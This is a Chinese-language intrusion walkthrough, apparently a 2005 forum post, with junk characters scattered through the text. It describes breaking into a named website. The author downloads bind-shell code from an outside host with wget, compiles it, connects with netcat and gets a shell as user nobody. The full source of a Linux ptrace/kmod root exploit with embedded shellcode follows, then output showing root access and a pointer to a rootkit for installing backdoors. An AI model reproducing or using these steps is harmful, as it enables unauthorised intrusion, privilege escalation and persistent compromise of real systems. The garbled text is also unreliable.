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http://shellcode.org/Shellcode/Linux/shell-bind-shell.c了,+ E! {/ N, E# R, ~* [1 H) i
就可以用wget这个命令来下载了,输入 , G% s Z8 D' i' R# d; U5 Q$ C4 V
wget http://shellcode.org/Shellcode/Linux/shell-bind-shell.c -P /tmp意思0 {1 g4 Y( m0 f( I& c% N0 }
就是下载这个shell.c到/tmp目录下,如图6 : |+ ]2 y- B' E* ~
然后ls /tmp得到下面的结果,[www.sealia.com]$ ls /tmpDate: Sat, 29 Jan 2005 22:17:14 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain- r- j( u _ E8 q/ B0 ]
2bdlost+foundmremap_pte.cmysql.sockptrace.csess_0a3d59b6da83717a4c05fbc5c6429982sess_12981c19e4cdab7bc426af965e7c85desess_33c246570a69e0846eaaedaef61f0402sess_4eb43cb41a450e8a7d15998fe4e9ef82sess_5c2048e3188733f41bba9a1ab44a4f3bsess_6405a9b3e0a809d7f298ad598f5de180sess_67fc6892112d2d780a092664353dcbbasess_9e3a2581194c05f598543f10294a95edsess_a0332a716e5c0a0932331ce9a5ec64d2sess_a159ec1f21a671d5cfe201c384d8da1csess_c6f579b218f096eb5ba11fdbad90f248sess_cdea344ed2940c99c1fcc146c5322882sess_f1e8e705bb1a6c5197ab61a22442da90shell-bind-shell.cshell-bind-shell.c.1ssh-XX0CyKEcssh-XX7eRJNnssh-XX89utqmssh-XXEmor9Xssh-XXhC36Gwssh-XXpOcVIAssh-XXrhx8enssh-XXss6aKsssh-XXw2rzSs1 _3 R0 p- M( s" E, P# g( k! |
这个时候就说明已经成功了,现在我们查找一下gcc在哪里,别到时候闹了半天( b' \+ Q2 b5 k8 @* L
在没有gcc就麻烦了,然后输入whereis -b gcc意思就是查找gcc的全路径输出结果
, g5 u) X' A* L; Y) K5 p! B" S[www.sealia.com]$ whereis -b gccDate: Sat, 29 Jan 2005 22:21:06 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain
& e0 V* J$ w" ]: |) z12gcc: /usr/bin/gcc w T* b( B2 Y/ X1 d: z3 I3 D
好了找到gcc了,接下来的事就好办了,编译源程序gcc shell-bind-shell.c -o bind5 e* Y0 v; { H, |% o
编译成功在/tmp目录下多了一个我们编译的bind程序,下面我们就来执行它吧,
6 f7 `2 Z( h7 V3 G g# Q/tmp/bind程序执行的很慢哦.....大概等了1-2分钟程序执行完成,根据程序的介绍我* ^: g* ]; Q- G' f' ~0 H
们知道他开了20000端口,我们telnet 上去吧,telnet www.sealia.com 20000" e& p# p' i% R) h4 R( k8 z
哈哈连接上了这个时候摸瞎输入id;uname -a 我晕怎么出现"command not found"% a0 U2 Y2 J: B
呢,我晕了,没错啊,看看源程序吧,找到了最后,哈哈知道了原因,+ j9 G. ^1 X, _+ x# }( G* O
Note: To use this you will need to make sure that you append '\n\0' to your entered strings, otherwise you will receive errors saying "command not found".The following is a simple means of doing that: perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc hostname 20000
+ I7 i8 t) n0 h(nc is netcat).好了知道为什么了,我们就换nc提交吧,执行nc -vv www.sealia.com 20000然后出现了C:\WINDOWS\system32>nc -vv www.sealia.com 20000Warning: inverse host lookup failed for 61.100.181.12: h_errno 11004: NO_DATAwww.sealia.com [61.100.181.12] 20000 (?) open在黑暗中输入id输出结果uid=99(nobody) gid=99(nobody) groups=99(nobody)如图7

呵呵到这里我们可爱的流光还在跑呢,跑了将近半个小时了,不等了,关闭它,太浪费资源了,这个时候我大概知道他是一个linux的操作系统,但不知道内核版本输入uname -r 可以看到这个linux的内核iduid=99(nobody) gid=99(nobody) groups=99(nobody)uname -r2.4.20-31.92.4.20的,下面咱们来提升权限吧,就是拿到root,这里说明一下这里有2个很好用的漏洞利用程序,一个是Linux Kernel do_mremap VMA本地权限提升漏洞(漏洞利用程序下载地址_pte.c">http://rhea.oamk.fi/~pyanil00/temp/mremap_pte.c)和Linux kernel 2.2.x - 2.4.x ptrace/kmod local root exploit好了都准备好了,咱们开始提升权限吧,大家先把咱们要利用的程序输入到linux里面cd /tmp;cat >1.c然后复制代码右键输入代码/*
* ]. {/ d/ {; l* Linux kernel ptrace/kmod local root exploit" v. |1 E0 X4 D) }. i7 B
*
3 T* o3 [& O2 {' T* This code exploits a race condition in kernel/kmod.c, which creates
/ A4 s- d. E+ }* kernel thread in insecure manner. This bug allows to ptrace cloned8 w' Q6 _" z- ^. I: B" ^( W. |
* process, allowing to take control over privileged modprobe binary.
8 G- a+ y5 D( q, b*' K& i6 ]* u9 B/ s
* Should work under all current 2.2.x and 2.4.x kernels.
+ [8 v# |9 n4 }* 1 F& F& d$ K) ?; k; D" [1 w
* I discovered this stupid bug independently on January 25, 2003, that
8 T8 a; C( Q. _ i% w# x( C% z* is (almost) two month before it was fixed and published by Red Hat
9 _0 w# b- H. G* and others.5 g; |$ t4 o% C W; P$ x
*
" l( i y D7 J7 p( b; Z, R* Wojciech Purczynski <cliph@isec.pl>( @2 m5 F$ O! G) b g
*1 `2 ]' L4 _. J% z
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
' z7 W9 A' }; b: ?* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY5 x, \1 x0 O0 e8 z8 m6 S3 |; m
* ) R2 Q- v; D$ ], q
* (c) 2003 Copyright by iSEC Security Research% D4 t. G6 g7 `4 l3 o+ W
*/ #include ! I7 [ X0 n1 }/ @# p; @
#include ' |: G1 F6 Q! R% s7 K, h* O
#include 6 B f9 O5 p. G$ w
#include
: R. P$ b, i8 k7 J3 K#include
+ h0 }- J) F, T+ A1 }#include
% o) U" L) a/ ~3 V$ n* B, s#include
5 v1 o8 X4 E7 |. B#include % M, z4 `5 ~# w+ i0 J
#include 6 D: y9 L) L- w1 ]2 N @
#include 0 Z; T, w2 U7 P
#include ; z! D! h" J$ J$ @( h0 v. }
#include
6 i" e# [7 T0 Z+ G#include
2 y0 r9 U" f, p& _#include 3 l" {4 p4 D/ V# w# B$ n
#include
9 M; K- W1 {' C1 Q% F/ `% R#include char cliphcode[] =
( C4 S ^# G0 h8 ^+ z"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"/ W$ P# b- b: A2 u
"\x00\x5b\x31\xc9\x89\xca\xcd\x80"8 ]% C+ C; Z. a4 |6 i
"\xb8\x0f\x00\x00\x00\xb9\xed\x0d"4 B8 f3 C4 W* p- A6 [) P8 X) F
"\x00\x00\xcd\x80\x89\xd0\x89\xd3"
# V$ l+ O! Z8 @8 V, X"\x40\xcd\x80\xe8\xdc\xff\xff\xff"; #define CODE_SIZE (sizeof(cliphcode) - 1) pid_t parent = 1;
0 H6 x8 g, H& q5 q5 H Z" zpid_t child = 1;
# |! y* t9 g5 Ypid_t victim = 1;
, x% q, V0 N3 q) ^4 X, P! y0 Vvolatile int gotchild = 0; void fatal(char * msg)$ Z$ P8 g* ]- J9 b% @
{
. Y7 ^6 R3 e1 E& Aperror(msg);
: L/ c0 I/ D$ b4 u% e" ^kill(parent, SIGKILL);+ p' N# k0 }7 R! p9 C
kill(child, SIGKILL);
0 S! Y7 C4 l) G" ^; bkill(victim, SIGKILL);. |% w% m3 `( k# z
} void putcode(unsigned long * dst)9 P* b3 j) [ d3 ^% U$ h
{
G9 d9 \2 r7 K+ z, t( bchar buf[MAXPATHLEN + CODE_SIZE];
3 j+ \$ q( u& ]: [+ H# s4 Junsigned long * src;
( l; l; i% L$ q' s8 H7 j+ k6 Eint i, len; memcpy(buf, cliphcode, CODE_SIZE);
, a+ \3 y1 Z4 h. x) |len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);3 v* o$ ~+ L4 B4 w# T
if (len == -1)% L' @8 W5 j5 d/ h8 Z
fatal("[-] Unable to read /proc/self/exe"); len += CODE_SIZE + 1;
2 Z6 w1 Z( @3 _6 y+ H0 @4 m9 Abuf[len] = '\0'; src = (unsigned long*) buf;# l2 j6 {0 t$ T8 y& z' g
for (i = 0; i < len; i += 4)
# `2 L! W" D, j" I$ z6 H: J, m/ Mif (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)0 l( g7 r/ O/ W D( Z* m6 @
fatal("[-] Unable to write shellcode");
/ v- q& ^+ {" m# R' U7 C' y} void sigchld(int signo)
+ Y; q; ~; h/ b h9 d# |: D{
' B8 v/ D& G; T. B& F! istruct user_regs_struct regs; if (gotchild++ == 0)
- @" X6 `/ a: w' `+ Qreturn; fprintf(stderr, "[+] Signal caught\n"); if (ptrace(PTRACE_GETREGS, victim, NULL, 畇) == -1)
9 z; u+ t% n! ]fatal("[-] Unable to read registers"); fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip); putcode((unsigned long *)regs.eip); fprintf(stderr, "[+] Now wait for suid shell...\n"); if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)/ U% T2 T! I, b; H6 l8 V# v, u" k
fatal("[-] Unable to detach from victim"); exit(0);
9 E7 G0 {3 y* l% B0 }2 ], {4 k} void sigalrm(int signo)$ o! L) o3 i4 B" q- a E0 f
{
6 i% P. m+ ]1 c* p5 [, U" p0 [errno = ECANCELED;3 L# i9 `& V S
fatal("[-] Fatal error");# }: d- O9 T% n. d5 T
} void do_child(void)
% v: @; U, {8 _{
; t: }: Q8 v6 B- Sint err; child = getpid();1 @& B. E; v. M
victim = child + 1; signal(SIGCHLD, sigchld); do' t8 {# x, C& o& w0 f( z* H Q
err = ptrace(PTRACE_ATTACH, victim, 0, 0);$ T8 i3 {) q$ t
while (err == -1 && errno == ESRCH); if (err == -1)# N0 |% N! v5 H: o( m. b6 U
fatal("[-] Unable to attach"); fprintf(stderr, "[+] Attached to %d\n", victim);) ^0 x/ l" q4 ~# @
while (!gotchild) ;
: x9 V; O0 [% z' O7 sif (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
/ b7 w, J" j8 g) ]& Y, Pfatal("[-] Unable to setup syscall trace");5 j7 w+ W+ D7 x; O# Y9 Z- a
fprintf(stderr, "[+] Waiting for signal\n"); for(;;);
) Y% z t ~/ e- w5 {} void do_parent(char * progname)4 n% J) e: p, g" ], k
{
% e, K3 N: ]+ @& z) A6 Gstruct stat st;
2 ~4 |. h0 \$ ^: w1 g# r4 kint err;
7 c, U1 O3 i- h: S/ i: cerrno = 0;
" f, m$ C8 X5 Y2 x g1 Q3 @socket(AF_SECURITY, SOCK_STREAM, 1);
9 T6 C/ _3 w4 I# Xdo {
' L- H6 W: ~# ]# |5 lerr = stat(progname, &st);
% r. C6 E& }+ [, y. b" f. d} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID); if (err == -1)4 a* d+ V7 f1 Q/ }, w
fatal("[-] Unable to stat myself"); alarm(0);
( x6 c( m" \- B1 r. Bsystem(progname);( t3 [/ Q9 L7 D2 ?1 Z9 J0 _2 ?
} void prepare(void)
$ _1 B% H! w j# |{
3 ?2 q g7 f. z; Fif (geteuid() == 0) {$ `' E1 q+ b; r. Z% o0 C
initgroups("root", 0);
+ J" A. K: A3 ?: `6 f8 f- |: usetgid(0);
' t$ [( E( K X/ o( @setuid(0);
]8 h* u. R, R9 r% Wexecl(_PATH_BSHELL, _PATH_BSHELL, NULL);
7 U2 M9 T+ V3 z( efatal("[-] Unable to spawn shell");
+ \/ q' T) M6 Y}; Q2 B/ [4 D- i7 l6 Y ?
} int main(int argc, char ** argv)
* k, u% N3 E/ {* `" h{* b1 F8 h0 ]6 b/ r1 u( f: q8 k, c9 h
prepare();
$ l" x, r* b! R. I7 }) isignal(SIGALRM, sigalrm);
- R! d" n3 M0 _4 i$ X8 M$ S/ Falarm(10); parent = getpid();( |6 _5 D+ _* o x1 L' H
child = fork();2 f' M' C, H' r1 P1 s" }% f
victim = child + 1; if (child == -1). i% \3 |3 A& x% g, X( H
fatal("[-] Unable to fork"); if (child == 0)4 @6 E1 ~' ?' j3 i- E
do_child();* H+ U- c$ Z2 Q* b# p
else/ w) d' s* Z6 |' {( t& |
do_parent(argv[0]); return 0;
+ S% T% y1 X4 A& ]$ N: @ N9 v4 A, E}CRTL+C保存,然后编译gcc 1.c -o 1编译成功,然后输入./1程序开始执行了,-> Parent's PID is 2313. Child's PID is 2314.-> Attaching to 2315...-> Got the thread!!-> Waiting for the next signal...-> Injecting shellcode at 0x4000e85d-> Bind root shell on port 24876... =p-> Detached from modprobe thread.-> Committing suicide..... iduid=0(root) gid=0(root) groups=0(root)哈哈到这个时候我们已经是root了,剩下的工作就是安装后门了,大家可以参考我另外的一篇文章,more.asp?name=cnbird&id=522还有推荐一个不错的rootkitpacketstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz好了到这里所有的工作就算已经完成了,其实从入侵中我们可以看出来我们做网站的一定要重视web漏洞,这一点点的小漏洞就可以把能拿到系统的最高权限,可见其危害性,希望国内的网管能够重视起来. |